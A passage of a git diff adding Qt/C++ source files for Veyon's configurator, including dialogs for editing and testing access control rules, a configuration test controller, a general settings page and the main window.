) ); + + // load condition arguments + ui->groupsComboBox->setCurrentText( rule.argument( AccessControlRule::ConditionMemberOfUserGroup ) ); + ui->roomsComboBox->setCurrentText( rule.argument( AccessControlRule::ConditionLocatedInRoom ) ); + + // load action + ui->actionNoneRadioButton->setChecked( rule.action() == AccessControlRule::ActionNone ); + ui->actionAllowRadioButton->setChecked( rule.action() == AccessControlRule::ActionAllow ); + ui->actionDenyRadioButton->setChecked( rule.action() == AccessControlRule::ActionDeny ); + ui->actionAskForPermissionRadioButton->setChecked( rule.action() == AccessControlRule::ActionAskForPermission ); +} + + + +AccessControlRuleEditDialog::~AccessControlRuleEditDialog() +{ + delete ui; +} + + + +void AccessControlRuleEditDialog::accept() +{ + // save general settings + m_rule.setName( ui->ruleNameLineEdit->text() ); + m_rule.setDescription( ui->ruleDescriptionLineEdit->text() ); + + // save general condition processing settings + m_rule.setConditionsIgnored( ui->ignoreConditionsCheckBox->isChecked() ); + m_rule.setConditionsInverted( ui->invertConditionsCheckBox->isChecked() ); + + // save conditions + m_rule.clearParameters(); + + // member of user group + m_rule.setConditionEnabled( AccessControlRule::ConditionMemberOfUserGroup, + ui->isMemberOfGroupCheckBox->isChecked() ); + m_rule.setSubject( AccessControlRule::ConditionMemberOfUserGroup, + m_subjectNameMap.key( ui->isMemberOfGroupSubjectComboBox->currentText() ) ); + m_rule.setArgument( AccessControlRule::ConditionMemberOfUserGroup, + ui->groupsComboBox->currentText() ); + + // common groups + m_rule.setConditionEnabled( AccessControlRule::ConditionGroupsInCommon, + ui->hasCommonGroupsCheckBox->isChecked() ); + + // located in room + m_rule.setConditionEnabled( AccessControlRule::ConditionLocatedInRoom, + ui->isLocatedInRoomCheckBox->isChecked() ); + m_rule.setSubject( AccessControlRule::ConditionLocatedInRoom, + m_subjectNameMap.key( ui->isLocatedInRoomSubjectComboBox->currentText() ) ); + m_rule.setArgument( AccessControlRule::ConditionLocatedInRoom, + ui->roomsComboBox->currentText() ); + + // located in same room as + m_rule.setConditionEnabled( AccessControlRule::ConditionLocatedInSameRoom, + ui->isLocatedInSameRoomCheckBox->isChecked() ); + + m_rule.setConditionEnabled( AccessControlRule::ConditionAccessFromLocalHost, + ui->isLocalHostAccessCheckBox->isChecked() ); + + m_rule.setConditionEnabled( AccessControlRule::ConditionAccessFromLocalUser, + ui->isLocalUserAccessCheckBox->isChecked() ); + + m_rule.setConditionEnabled( AccessControlRule::ConditionAccessFromAlreadyConnectedUser, + ui->isSameUserAccessCheckBox->isChecked() ); + + m_rule.setConditionEnabled( AccessControlRule::ConditionNoUserLoggedOn, + ui->noUserLoggedOnCheckBox->isChecked() ); + + // save action + if( ui->actionAllowRadioButton->isChecked() ) + { + m_rule.setAction( AccessControlRule::ActionAllow ); + } + else if( ui->actionDenyRadioButton->isChecked() ) + { + m_rule.setAction( AccessControlRule::ActionDeny ); + } + else if( ui->actionAskForPermissionRadioButton->isChecked() ) + { + m_rule.setAction( AccessControlRule::ActionAskForPermission ); + } + else + { + m_rule.setAction( AccessControlRule::ActionNone ); + } + + QDialog::accept(); +} diff --git a/configurator/src/AccessControlRuleEditDialog.h b/configurator/src/AccessControlRuleEditDialog.h new file mode 100644 index 0000000..90af18f --- /dev/null +++ b/configurator/src/AccessControlRuleEditDialog.h @@ -0,0 +1,53 @@ +/* + * AccessControlRuleEditDialog.h - dialog for editing an AccessControlRule + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_RULE_EDIT_DIALOG_H +#define ACCESS_CONTROL_RULE_EDIT_DIALOG_H + +#include + +#include "AccessControlRule.h" + +namespace Ui { +class AccessControlRuleEditDialog; +} + +class AccessControlRuleEditDialog : public QDialog +{ + Q_OBJECT +public: + AccessControlRuleEditDialog(AccessControlRule& rule, QWidget *parent = nullptr); + ~AccessControlRuleEditDialog() override; + + void accept() override; + + +private: + Ui::AccessControlRuleEditDialog *ui; + AccessControlRule& m_rule; + QMap m_subjectNameMap; + +}; + +#endif // ACCESS_CONTROL_RULE_EDIT_DIALOG_H diff --git a/configurator/src/AccessControlRuleListModel.cpp b/configurator/src/AccessControlRuleListModel.cpp new file mode 100644 index 0000000..d5a7182 --- /dev/null +++ b/configurator/src/AccessControlRuleListModel.cpp @@ -0,0 +1,99 @@ +/* + * AccessControlRuleListModel.cpp - data model for access control rules + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "AccessControlRuleListModel.h" +#include "VeyonConfiguration.h" +#include "VeyonCore.h" + + +AccessControlRuleListModel::AccessControlRuleListModel(QObject *parent) : + QAbstractListModel(parent) +{ + reload(); +} + + + +void AccessControlRuleListModel::reload() +{ + beginResetModel(); + + m_accessControlRules.clear(); + + const auto accessControlRules = VeyonCore::config().accessControlRules(); + + for( const auto& accessControlRule : accessControlRules ) + { + m_accessControlRules.append( accessControlRule ); + } + + endResetModel(); +} + + + +int AccessControlRuleListModel::rowCount(const QModelIndex &parent) const +{ + // For list models only the root node (an invalid parent) should return the list's size. For all + // other (valid) parents, rowCount() should return 0 so that it does not become a tree model. + if (parent.isValid()) + return 0; + + return m_accessControlRules.count(); +} + + + +QVariant AccessControlRuleListModel::data(const QModelIndex &index, int role) const +{ + if (!index.isValid() || index.row() > rowCount() ) + { + return QVariant(); + } + + const AccessControlRule& rule = m_accessControlRules[index.row()]; + + if( role == Qt::DecorationRole ) + { + switch( rule.action() ) + { + case AccessControlRule::ActionAllow: return QIcon( ":/resources/vcs-normal.png" ); + case AccessControlRule::ActionDeny: return QIcon( ":/resources/vcs-conflicting.png" ); + case AccessControlRule::ActionAskForPermission: return QIcon( ":/resources/access-rule-ask.png" ); + default: return QIcon( ":/resources/vcs-removed.png" ); + } + } + else if( role == Qt::DisplayRole ) + { + return rule.name(); + } + else if( role == Qt::ToolTipRole ) + { + return rule.description(); + } + + return QVariant(); +} diff --git a/configurator/src/AccessControlRuleListModel.h b/configurator/src/AccessControlRuleListModel.h new file mode 100644 index 0000000..29811a1 --- /dev/null +++ b/configurator/src/AccessControlRuleListModel.h @@ -0,0 +1,49 @@ +/* + * AccessControlRuleListModel.h - data model for access control rules + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_RULE_LIST_MODEL_H +#define ACCESS_CONTROL_RULE_LIST_MODEL_H + +#include + +#include "AccessControlRule.h" + +class AccessControlRuleListModel : public QAbstractListModel +{ + Q_OBJECT +public: + explicit AccessControlRuleListModel(QObject *parent = nullptr); + + void reload(); + + int rowCount(const QModelIndex &parent = QModelIndex()) const override; + + QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const override; + +private: + QList m_accessControlRules; + +}; + +#endif // ACCESS_CONTROL_RULE_LIST_MODEL_H diff --git a/configurator/src/AccessControlRulesTestDialog.cpp b/configurator/src/AccessControlRulesTestDialog.cpp new file mode 100644 index 0000000..a9ce8d2 --- /dev/null +++ b/configurator/src/AccessControlRulesTestDialog.cpp @@ -0,0 +1,90 @@ +/* + * AccessControlRulesTestDialog.cpp - dialog for testing access control rules + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AccessControlRulesTestDialog.h" +#include "AccessControlProvider.h" +#include "PlatformUserFunctions.h" + +#include "ui_AccessControlRulesTestDialog.h" + + +AccessControlRulesTestDialog::AccessControlRulesTestDialog(QWidget *parent) : + QDialog(parent), + ui(new Ui::AccessControlRulesTestDialog) +{ + ui->setupUi(this); + + ui->localUserLineEdit->setText( VeyonCore::platform().userFunctions().currentUser() ); + ui->localComputerLineEdit->setText( QHostInfo::localHostName() ); +} + + + +AccessControlRulesTestDialog::~AccessControlRulesTestDialog() +{ + delete ui; +} + + + +int AccessControlRulesTestDialog::exec() +{ + ui->accessingUserLineEdit->setFocus(); + + return QDialog::exec(); +} + + + +void AccessControlRulesTestDialog::accept() +{ + AccessControlRule::Action result = + AccessControlProvider().processAccessControlRules( ui->accessingUserLineEdit->text(), + ui->accessingComputerLineEdit->text(), + ui->localUserLineEdit->text(), + ui->localComputerLineEdit->text(), + ui->connectedUsersLineEdit->text().split( ',' ) ); + QString resultText; + + switch( result ) + { + case AccessControlRule::ActionAllow: + resultText = tr( "The access in the given scenario is allowed." ); + break; + case AccessControlRule::ActionDeny: + resultText = tr( "The access in the given scenario is denied." ); + break; + case AccessControlRule::ActionAskForPermission: + resultText = tr( "The access in the given scenario needs permission of the logged on user." ); + break; + default: + resultText = tr( "ERROR: Unknown action" ); + break; + } + + QMessageBox::information( this, tr( "Test result" ), resultText ); +} diff --git a/configurator/src/AccessControlRulesTestDialog.h b/configurator/src/AccessControlRulesTestDialog.h new file mode 100644 index 0000000..6c53452 --- /dev/null +++ b/configurator/src/AccessControlRulesTestDialog.h @@ -0,0 +1,49 @@ +/* + * AccessControlRulesTestDialog.h - dialog for testing access control rules + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_RULES_TEST_DIALOG_H +#define ACCESS_CONTROL_RULES_TEST_DIALOG_H + +#include + +namespace Ui { +class AccessControlRulesTestDialog; +} + +class AccessControlRulesTestDialog : public QDialog +{ + Q_OBJECT + +public: + explicit AccessControlRulesTestDialog(QWidget *parent = nullptr); + ~AccessControlRulesTestDialog() override; + + int exec() override; + void accept() override; + +private: + Ui::AccessControlRulesTestDialog *ui; +}; + +#endif // ACCESS_CONTROL_RULES_TEST_DIALOG_H diff --git a/configurator/src/ConfigurationTestController.cpp b/configurator/src/ConfigurationTestController.cpp new file mode 100644 index 0000000..614958a --- /dev/null +++ b/configurator/src/ConfigurationTestController.cpp @@ -0,0 +1,99 @@ +/* + * ConfigurationTestController.cpp - class for automated configuration tests + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "AccessControlProvider.h" +#include "ConfigurationTestController.h" + +ConfigurationTestController::ConfigurationTestController( const QStringList &testArguments ) : + m_testArguments( testArguments ) +{ +} + + + +int ConfigurationTestController::run() +{ + const QString command = testArgument( 0 ).toLower(); + + if( command == QStringLiteral("checkaccess") ) + { + switch( AccessControlProvider().checkAccess( testArgument( 1 ), testArgument( 2 ), + QStringList( testArgument( 3 ) ) ) ) + { + case AccessControlProvider::AccessAllow: printf( "[TEST]: CheckAccess: ALLOW\n" ); return 0; + case AccessControlProvider::AccessDeny: printf( "[TEST]: CheckAccess: DENY\n" ); return 0; + case AccessControlProvider::AccessToBeConfirmed: printf( "[TEST]: CheckAccess: TO BE CONFIRMED\n" ); return 0; + default: printf( "[TEST]: CheckAccess: FAIL\n" ); return -1; + } + } + else if( command == QStringLiteral("authorizedgroups") ) + { + if( AccessControlProvider().processAuthorizedGroups( testArgument( 1 ) ) ) + { + printf( "[TEST]: AuthorizedGroups: ALLOW\n" ); + } + else + { + printf( "[TEST]: AuthorizedGroups: DENY\n" ); + } + return 0; + } + else if( command == QStringLiteral("accesscontrolrules") ) + { + switch( AccessControlProvider().processAccessControlRules( testArgument( 1 ), testArgument( 2 ), + testArgument( 3 ), testArgument( 4 ), + QStringList( testArgument( 5 ) ) ) ) + { + case AccessControlRule::ActionAllow: printf( "[TEST]: AccessControlRules: ALLOW\n" ); return 0; + case AccessControlRule::ActionDeny: printf( "[TEST]: AccessControlRules: DENY\n" ); return 0; + case AccessControlRule::ActionNone: printf( "[TEST]: AccessControlRules: NONE\n" ); return 0; + case AccessControlRule::ActionAskForPermission: printf( "[TEST]: AccessControlRules: ASK FOR PERMISSION\n" ); return 0; + default: printf( "[TEST]: AccessControlRules: FAIL\n" ); return -1; + } + } + else if( command == QStringLiteral("isaccessdeniedbylocalstate") ) + { + if( AccessControlProvider().isAccessToLocalComputerDenied() ) + { + printf( "[TEST]: IsAccessDeniedByLocalState: YES (service will listen on localhost only)\n" ); + } + else + { + printf( "[TEST]: IsAccessDeniedByLocalState: NO (service will listen normally on all interfaces)\n" ); + } + return 0; + } + else + { + printf( "TEST COMMANDS:\n\n" ); + printf( "IsAccessDeniedByLocalState\n" ); + printf( "CheckAccess [ACCESSING USER] [ACCESSING COMPUTER] [CONNECTED USER]\n" ); + printf( "AuthorizedGroups [ACCESSING USER]\n" ); + printf( "AccessControlRules [ACCESSING USER] [ACCESSING COMPUTER] [LOCAL USER] [LOCAL COMPUTER] [CONNECTED USER]\n" ); + } + + printf( "\n------------------------------------------------------------------------------\n\n" ); + + return -1; +} diff --git a/configurator/src/ConfigurationTestController.h b/configurator/src/ConfigurationTestController.h new file mode 100644 index 0000000..b4a6ab9 --- /dev/null +++ b/configurator/src/ConfigurationTestController.h @@ -0,0 +1,48 @@ +/* + * ConfigurationTestController.h - class for automated configuration tests + * + * Copyright (c) 2016 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef CONFIGURATION_TEST_CONTROLLER_H +#define CONFIGURATION_TEST_CONTROLLER_H + +#include + +class ConfigurationTestController +{ +public: + ConfigurationTestController( const QStringList& testArguments ); + + int run(); + + +private: + QString testArgument( int i ) const + { + return m_testArguments.value( i ); + } + + QStringList m_testArguments; + +}; + +#endif // CONFIGURATION_TEST_CONTROLLER_H diff --git a/configurator/src/GeneralConfigurationPage.cpp b/configurator/src/GeneralConfigurationPage.cpp new file mode 100644 index 0000000..24caf40 --- /dev/null +++ b/configurator/src/GeneralConfigurationPage.cpp @@ -0,0 +1,200 @@ +/* + * GeneralConfigurationPage.cpp - configuration page with general settings + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "GeneralConfigurationPage.h" +#include "Filesystem.h" +#include "FileSystemBrowser.h" +#include "VeyonCore.h" +#include "VeyonConfiguration.h" +#include "NetworkObjectDirectoryManager.h" +#include "PlatformFilesystemFunctions.h" +#include "PluginManager.h" +#include "VeyonServiceControl.h" +#include "Configuration/UiMapping.h" +#include "ui_GeneralConfigurationPage.h" + + +GeneralConfigurationPage::GeneralConfigurationPage() : + ConfigurationPage(), + ui(new Ui::GeneralConfigurationPage) +{ + ui->setupUi(this); + + ui->applicationName->hide(); + + // retrieve list of builtin translations and populate language combobox + QStringList languages; + const auto qmFiles = QDir( VeyonCore::translationsDirectory() ).entryList( { QStringLiteral("*.qm") } ); + + languages.reserve( qmFiles.count() ); + + for( const auto& qmFile : qmFiles ) + { + // ignore Qt's translation files + if( qmFile.startsWith( QStringLiteral("qt") ) ) + { + continue; + } + QLocale loc( qmFile ); + if( loc.language() == QLocale::C ) + { + loc = QLocale( QLocale::English ); + } + languages += QStringLiteral( "%1 - %2 (%3)" ).arg( QLocale::languageToString( loc.language() ), + loc.nativeLanguageName(), + loc.name() ); + } + + std::sort( languages.begin(), languages.end() ); + + ui->uiLanguage->addItems( languages ); + + connect( ui->openLogFileDirectory, &QPushButton::clicked, this, &GeneralConfigurationPage::openLogFileDirectory ); + connect( ui->clearLogFiles, &QPushButton::clicked, this, &GeneralConfigurationPage::clearLogFiles ); + + populateNetworkObjectDirectories(); +} + + + +GeneralConfigurationPage::~GeneralConfigurationPage() +{ + delete ui; +} + + + +void GeneralConfigurationPage::resetWidgets() +{ + FOREACH_VEYON_UI_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_LOGGING_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_NETWORK_OBJECT_DIRECTORY_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + FOREACH_VEYON_AUTHENTICATION_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); +} + + + +void GeneralConfigurationPage::connectWidgetsToProperties() +{ + FOREACH_VEYON_UI_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_LOGGING_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_NETWORK_OBJECT_DIRECTORY_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); + FOREACH_VEYON_AUTHENTICATION_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY); +} + + + +void GeneralConfigurationPage::applyConfiguration() +{ +} + + + +void GeneralConfigurationPage::openLogFileDirectory() +{ + FileSystemBrowser( FileSystemBrowser::ExistingDirectory ). + exec( ui->logFileDirectory ); +} + + + + +void GeneralConfigurationPage::clearLogFiles() +{ + bool serviceStopped = false; + + VeyonServiceControl serviceControl( this ); + + if( serviceControl.isServiceRunning() ) + { + if( QMessageBox::question( this, tr( "%1 service" ).arg( VeyonCore::applicationName() ), + tr( "The %1 service needs to be stopped temporarily " + "in order to remove the log files. Continue?" + ).arg( VeyonCore::applicationName() ), QMessageBox::Yes | QMessageBox::No, + QMessageBox::Yes ) == QMessageBox::Yes ) + { + serviceControl.stopService(); + serviceStopped = true; + } + else + { + return; + } + } + + bool success = true; + const QStringList logFilesFilter( { QStringLiteral("Veyon*.log") } ); + + QDir d( VeyonCore::filesystem().expandPath( VeyonCore::config().logFileDirectory() ) ); + const auto localLogFiles = d.entryList( logFilesFilter ); + + for( const auto& f : localLogFiles ) + { + if( f != QStringLiteral("VeyonConfigurator.log") ) + { + success &= d.remove( f ); + } + } + + d = QDir( VeyonCore::platform().filesystemFunctions().globalTempPath() ); + const auto globalLogFiles = d.entryList( logFilesFilter ); + for( const auto& f : globalLogFiles ) + { + if( f != QStringLiteral("VeyonConfigurator.log") ) + { + success &= d.remove( f ); + } + } + + if( serviceStopped ) + { + serviceControl.startService(); + } + + if( success ) + { + QMessageBox::information( this, tr( "Log files cleared" ), + tr( "All log files were cleared successfully." ) ); + } + else + { + QMessageBox::critical( this, tr( "Error" ), + tr( "Could not remove all log files." ) ); + } +} + + + +void GeneralConfigurationPage::populateNetworkObjectDirectories() +{ + const auto directories = NetworkObjectDirectoryManager().availableDirectories(); + + for( auto it = directories.constBegin(), end = directories.constEnd(); it != end; ++it ) + { + ui->networkObjectDirectoryPlugin->addItem( it.value(), it.key() ); + } +} diff --git a/configurator/src/GeneralConfigurationPage.h b/configurator/src/GeneralConfigurationPage.h new file mode 100644 index 0000000..52fdfc4 --- /dev/null +++ b/configurator/src/GeneralConfigurationPage.h @@ -0,0 +1,55 @@ +/* + * GeneralConfigurationPage.h - configuration page with general settings + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef GENERAL_CONFIGURATION_PAGE_H +#define GENERAL_CONFIGURATION_PAGE_H + +#include "ConfigurationPage.h" + +namespace Ui { class GeneralConfigurationPage; } + +class GeneralConfigurationPage : public ConfigurationPage +{ + Q_OBJECT +public: + GeneralConfigurationPage(); + ~GeneralConfigurationPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void openLogFileDirectory(); + void clearLogFiles(); + + +private: + void populateNetworkObjectDirectories(); + + Ui::GeneralConfigurationPage *ui; + +} ; + +#endif diff --git a/configurator/src/MainWindow.cpp b/configurator/src/MainWindow.cpp new file mode 100644 index 0000000..b7d7253 --- /dev/null +++ b/configurator/src/MainWindow.cpp @@ -0,0 +1,273 @@ +/* + * MainWindow.cpp - implementation of MainWindow class + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include +#include + +#include "Configuration/JsonStore.h" + +#include "AboutDialog.h" +#include "ConfigurationPagePluginInterface.h" +#include "ConfigurationManager.h" +#include "VeyonConfiguration.h" +#include "MainWindow.h" +#include "PluginManager.h" + +#include "ui_MainWindow.h" + + +MainWindow::MainWindow( QWidget* parent ) : + QMainWindow( parent ), + ui( new Ui::MainWindow ), + m_configChanged( false ) +{ + ui->setupUi( this ); + + setWindowTitle( tr( "%1 Configurator %2" ).arg( VeyonCore::applicationName(), VeyonCore::version() ) ); + + loadConfigurationPagePlugins(); + + // reset all widget's values to current configuration + reset( true ); + + // if local configuration is incomplete, re-enable the apply button + if( VeyonConfiguration().data().size() < VeyonCore::config().data().size() ) + { + configurationChanged(); + } + + const auto pages = findChildren(); + for( auto page : pages ) + { + page->connectWidgetsToProperties(); + } + + connect( ui->buttonBox, &QDialogButtonBox::clicked, this, &MainWindow::resetOrApply ); + + connect( ui->actionLoadSettings, &QAction::triggered, this, &MainWindow::loadSettingsFromFile ); + connect( ui->actionSaveSettings, &QAction::triggered, this, &MainWindow::saveSettingsToFile ); + + connect( ui->actionAboutQt, &QAction::triggered, QApplication::instance(), &QApplication::aboutQt ); + + connect( &VeyonCore::config(), &VeyonConfiguration::configurationChanged, this, &MainWindow::configurationChanged ); + + VeyonCore::enforceBranding( this ); +} + + + +MainWindow::~MainWindow() +{ + delete ui; +} + + + +void MainWindow::reset( bool onlyUI ) +{ + if( onlyUI == false ) + { + VeyonCore::config() = VeyonConfiguration::defaultConfiguration(); + VeyonCore::config().reloadFromStore(); + } + + const auto pages = findChildren(); + for( auto page : pages ) + { + page->resetWidgets(); + } + + ui->buttonBox->setEnabled( false ); + m_configChanged = false; +} + + + + +void MainWindow::apply() +{ + if( applyConfiguration() ) + { + const auto pages = findChildren(); + for( auto page : pages ) + { + page->applyConfiguration(); + } + + ui->buttonBox->setEnabled( false ); + m_configChanged = false; + } +} + + + + +void MainWindow::configurationChanged() +{ + ui->buttonBox->setEnabled( true ); + m_configChanged = true; +} + + + + +void MainWindow::resetOrApply( QAbstractButton *btn ) +{ + if( ui->buttonBox->standardButton( btn ) & QDialogButtonBox::Apply ) + { + apply(); + } + else if( ui->buttonBox->standardButton( btn ) & QDialogButtonBox::Reset ) + { + reset(); + } +} + + + +void MainWindow::loadSettingsFromFile() +{ + QString fileName = QFileDialog::getOpenFileName( this, tr( "Load settings from file" ), + QDir::homePath(), tr( "JSON files (*.json)" ) ); + if( !fileName.isEmpty() ) + { + // write current configuration to output file + Configuration::JsonStore( Configuration::JsonStore::System, fileName ).load( &VeyonCore::config() ); + reset( true ); + configurationChanged(); // give user a chance to apply possible changes + } +} + + + + +void MainWindow::saveSettingsToFile() +{ + QString fileName = QFileDialog::getSaveFileName( this, tr( "Save settings to file" ), + QDir::homePath(), tr( "JSON files (*.json)" ) ); + if( !fileName.isEmpty() ) + { + if( !fileName.endsWith( QStringLiteral(".json"), Qt::CaseInsensitive ) ) + { + fileName += QStringLiteral(".json"); + } + + bool configChangedPrevious = m_configChanged; + + // write current configuration to output file + Configuration::JsonStore( Configuration::JsonStore::System, fileName ).flush( &VeyonCore::config() ); + + m_configChanged = configChangedPrevious; + ui->buttonBox->setEnabled( m_configChanged ); + } +} + + + +void MainWindow::resetConfiguration() +{ + if( QMessageBox::warning( this, tr( "Reset configuration" ), + tr( "Do you really want to reset the local configuration and revert " + "all settings to their defaults?" ), QMessageBox::Yes | QMessageBox::No, QMessageBox::No ) == + QMessageBox::Yes ) + { + ConfigurationManager().clearConfiguration(); + reset( false ); + } +} + + + +void MainWindow::aboutVeyon() +{ + AboutDialog( this ).exec(); +} + + + +bool MainWindow::applyConfiguration() +{ + ConfigurationManager configurationManager; + + if( configurationManager.saveConfiguration() == false || + configurationManager.applyConfiguration() == false ) + { + qCritical() << Q_FUNC_INFO << configurationManager.errorString().toUtf8().constData(); + + QMessageBox::critical( nullptr, + tr( "%1 Configurator" ).arg( VeyonCore::applicationName() ), + configurationManager.errorString() ); + return false; + } + + return true; +} + + + +void MainWindow::loadConfigurationPagePlugins() +{ + for( auto pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto configurationPagePluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && configurationPagePluginInterface ) + { + auto page = configurationPagePluginInterface->createConfigurationPage(); + ui->configPages->addWidget( page ); + + auto item = new QListWidgetItem( page->windowIcon(), page->windowTitle() ); + item->setFlags( Qt::ItemIsSelectable | Qt::ItemIsEnabled ); + ui->pageSelector->addItem( item ); + } + } + + // adjust minimum size + ui->pageSelector->setMinimumSize( ui->pageSelector->sizeHintForColumn(0) + 3 * ui->pageSelector->spacing(), + ui->pageSelector->minimumHeight() ); +} + + + +void MainWindow::closeEvent( QCloseEvent *closeEvent ) +{ + if( m_configChanged && + QMessageBox::question( this, tr( "Unsaved settings" ), + tr( "There are unsaved settings. " + "Quit anyway?" ), + QMessageBox::Yes | QMessageBox::No ) != + QMessageBox::Yes ) + { + closeEvent->ignore(); + return; + } + 